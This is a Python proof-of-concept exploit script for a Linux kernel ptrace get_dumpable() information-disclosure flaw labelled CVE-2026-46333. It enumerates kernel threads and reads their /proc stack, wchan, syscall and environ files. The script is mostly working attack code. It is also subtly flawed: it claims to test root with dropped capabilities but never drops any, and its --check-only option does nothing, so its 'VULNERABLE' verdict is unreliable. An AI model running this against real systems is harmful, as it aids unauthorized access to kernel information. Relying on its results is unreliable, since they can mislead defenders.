#!/usr/bin/env python3 """ CVE-2026-46333 - Linux Kernel ptrace get_dumpable() Logic Bypass PoC CVSS: 7.1 (HIGH) | Attack Vector: LOCAL | Type: INFORMATION_DISCLOSURE Vulnerability: The Linux kernel's ptrace_may_access() uses get_dumpable() to check access permissions, but this check is flawed for tasks without an associated mm (memory management) structure, such as kernel threads or tasks that have exited. When a task has no mm pointer, the dumpability check returns a default value that does not properly enforce capability-based access control. This allows a local attacker with uid-0 (but dropped capabilities) to read sensitive information from kernel threads via /proc//status, /proc//maps, or ptrace attach. The fix introduces a cached "last dumpability" flag and requires CAP_SYS_PTRACE to override. Affected: Linux kernel (multiple versions before the fix) Condition: Local access with uid-0 but dropped capabilities Usage: python3 poc.py [--check-only] Disclaimer: This PoC is for authorized security testing only. Must be run as root on the target system. """ import argparse import os import sys import struct def get_kernel_version(): """Get the running kernel version.""" try: with open("/proc/version", "r") as f: return f.read().strip() except Exception: return "unknown" def find_kernel_threads(): """Find kernel threads (tasks with no mm/VmSize).""" kthreads = [] try: for pid in os.listdir("/proc"): if not pid.isdigit(): continue pid = int(pid) try: status_path = f"/proc/{pid}/status" with open(status_path, "r") as f: status = f.read() # Kernel threads have no VmSize entry if "VmSize:" not in status: name = "" uid = "" for line in status.split("\n"): if line.startswith("Name:"): name = line.split(":", 1)[1].strip() elif line.startswith("Uid:"): uid = line.split(":", 1)[1].strip() kthreads.append({ "pid": pid, "name": name, "uid": uid, }) except (PermissionError, FileNotFoundError): continue except Exception as e: print(f"[ERROR] Failed to enumerate processes: {e}") return kthreads def check_ptrace_access(pid): """ Attempt to read kernel thread information via /proc/pid/wchan, /proc/pid/stack, and /proc/pid/syscall to check if the dumpable bypass allows access. """ results = {"accessible": [], "denied": [], "pid": pid} sensitive_files = [ "wchan", # Wait channel (kernel function name) "stack", # Kernel stack trace "syscall", # Current syscall info "environ", # Environment variables "auxv", # Auxiliary vector "io", # I/O statistics ] for fname in sensitive_files: path = f"/proc/{pid}/{fname}" try: with open(path, "r") as f: content = f.read(512) if content.strip(): results["accessible"].append({ "file": fname, "sample": content[:200].strip(), }) else: results["accessible"].append({ "file": fname, "sample": "(empty)", }) except PermissionError: results["denied"].append(fname) except FileNotFoundError: pass except Exception as e: results["denied"].append(f"{fname} ({e})") return results def check_capability_bypass(): """ Check if dropping capabilities still allows kernel thread inspection. This is the core of the vulnerability: uid-0 with dropped caps should NOT be able to access kernel thread details, but the flawed get_dumpable() logic allows it. """ # Check current capabilities cap_info = {} try: with open("/proc/self/status", "r") as f: for line in f: if line.startswith("Cap"): key, val = line.strip().split(":", 1) cap_info[key.strip()] = val.strip() except Exception: pass return cap_info def main(): parser = argparse.ArgumentParser( description="CVE-2026-46333 Linux Kernel ptrace get_dumpable() PoC" ) parser.add_argument( "--check-only", action="store_true", help="Only check vulnerability, don't attempt exploitation" ) parser.add_argument( "--pid", type=int, default=None, help="Specific kernel thread PID to test (default: auto-detect)" ) args = parser.parse_args() print("[*] CVE-2026-46333 - Linux Kernel ptrace get_dumpable() Logic Bypass PoC") print(f"[*] Kernel: {get_kernel_version()}") print(f"[*] Running as UID: {os.getuid()}") print() if os.getuid() != 0: print("[!] This PoC must be run as root (uid-0)") print("[!] The vulnerability allows uid-0 with DROPPED capabilities") print("[!] to read kernel thread details via ptrace/proc") sys.exit(1) # Step 1: Find kernel threads print("[*] Step 1: Enumerating kernel threads (tasks without mm)...") kthreads = find_kernel_threads() print(f"[+] Found {len(kthreads)} kernel threads") if not kthreads: print("[!] No kernel threads found. Cannot test.") sys.exit(1) # Show some kernel threads for kt in kthreads[:5]: print(f" PID {kt['pid']:>6} {kt['name']}") if len(kthreads) > 5: print(f" ... and {len(kthreads) - 5} more") print() # Step 2: Check current capabilities print("[*] Step 2: Checking current capability state...") caps = check_capability_bypass() for key, val in caps.items(): print(f" {key}: {val}") print() # Step 3: Test access to kernel thread sensitive files print("[*] Step 3: Testing access to kernel thread sensitive proc files...") if args.pid: test_pids = [args.pid] else: # Test a few kernel threads: kthreadd (pid 2) and a few workers test_pids = [kt["pid"] for kt in kthreads[:3]] vulnerable = False for pid in test_pids: kt_name = next((kt["name"] for kt in kthreads if kt["pid"] == pid), "?") print(f"\n[*] Testing PID {pid} ({kt_name}):") results = check_ptrace_access(pid) if results["accessible"]: for item in results["accessible"]: print(f" [ACCESSIBLE] /proc/{pid}/{item['file']}: {item['sample'][:80]}") if item["file"] in ("stack", "wchan", "syscall") and item["sample"] != "(empty)": vulnerable = True if results["denied"]: for fname in results["denied"]: print(f" [DENIED] /proc/{pid}/{fname}") print() if vulnerable: print("[!] VULNERABLE: Kernel thread sensitive information accessible") print("[!] The get_dumpable() check does not properly enforce") print("[!] capability requirements for tasks without mm structure") sys.exit(1) else: print("[+] Target does not appear vulnerable (access properly restricted)") sys.exit(0) if __name__ == "__main__": main()